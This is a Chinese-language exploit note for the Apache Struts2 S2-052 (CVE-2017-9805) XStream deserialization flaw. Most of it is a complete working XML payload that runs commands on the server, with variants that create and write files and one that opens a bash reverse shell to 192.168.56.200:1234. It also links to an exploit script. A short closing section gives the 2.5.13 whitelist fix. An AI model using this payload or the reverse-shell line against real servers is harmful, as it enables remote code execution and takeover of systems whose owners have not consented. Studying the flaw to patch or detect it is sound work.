漏洞名称

S2-052 CVE-2017-9805 远程代码执行

利用条件

Struts 2.1.6 - Struts 2.3.33

Struts 2.5 - Struts 2.5.12

漏洞原理

Struts2 REST插件的XStream组件存在反序列化漏洞，使用XStream组件对XML格式的数据包进行反序列化操作时，未对数据内容进行有效验证，存在安全隐患，可被远程攻击。

由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法，所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml，即可在Body中传递XML数据。

漏洞利用

命令执行

poc

注意一替换 Content-Type头的内容字段为application/xml

注意二增加xml字段内容

<map>

<entry>

<jdk.nashorn.internal.objects.NativeString>

<flags>0</flags>

<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

<dataHandler>

<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">

<is class="javax.crypto.CipherInputStream">

<cipher class="javax.crypto.NullCipher">

<initialized>false</initialized>

<opmode>0</opmode>

<serviceIterator class="javax.imageio.spi.FilterIterator">

<iter class="javax.imageio.spi.FilterIterator">

<iter class="java.util.Collections$EmptyIterator"/>

<next class="java.lang.ProcessBuilder">

<command>

<string>touch</string>

<string>/tmp/test.txt</string>

</command>

<redirectErrorStream>false</redirectErrorStream>

</next>

</iter>

<filter class="javax.imageio.ImageIO$ContainsFilter">

<method>

<class>java.lang.ProcessBuilder</class>

<name>start</name>

<parameter-types/>

</method>

<name>foo</name>

</filter>

<next>foo</next>

</serviceIterator>

<lock/>

</cipher>

<input class="java.lang.ProcessBuilder$NullInputStream"/>

<ibuffer/>

<done>false</done>

<ostart>0</ostart>

<ofinish>0</ofinish>

<closed>false</closed>

</is>

<consumed>false</consumed>

</dataSource>

<transferFlavors/>

</dataHandler>

<dataLen>0</dataLen>

</value>

</jdk.nashorn.internal.objects.NativeString>

<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>

</entry>

<entry>

<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

</entry>

</map>

  <command><string>你要执行的代码</string></command>

创建文件

<command>

<string>touch</string>

<string>/tmp/test.txt</string>

</command>

写入内容到文件

<string>bash</string>

<string>-c</string>

<string>echo xiaoxin > /tmp/test.txt</string>

反弹shell

<command>

<string>bash</string>

                <string>-c</string>

                <string>bash -i &gt;&amp; /dev/tcp/192.168.56.200/1234 0&gt;&amp;1</string>

</command>

工具反弹shell

https://github.com/Vancir/s2-052-reproducing

更改exploit.py中的url地址

修复建议

struts2.5.13中，按照xstream给出的缓解措施（ http://x-stream.github.io/security.html ），增加了反序列化时的白名单：

protected void addDefaultPermissions(ActionInvocation invocation, XStream stream) {

    stream.addPermission(new ExplicitTypePermission(new Class[]{invocation.getAction().getClass()}));

    if (invocation.getAction() instanceof ModelDriven) {

        stream.addPermission(new ExplicitTypePermission(new Class[]{((ModelDriven) invocation.getAction()).getModel().getClass()}));

    }

    stream.addPermission(NullPermission.NULL);

    stream.addPermission(PrimitiveTypePermission.PRIMITIVES);

    stream.addPermission(ArrayTypePermission.ARRAYS);

    stream.addPermission(CollectionTypePermission.COLLECTIONS);

    stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));

}

但此时可能会影响以前代码的业务逻辑，所以谨慎升级，也没有特别好的办法，就是逐一排除老代码，去掉不在白名单中的类。

参考文章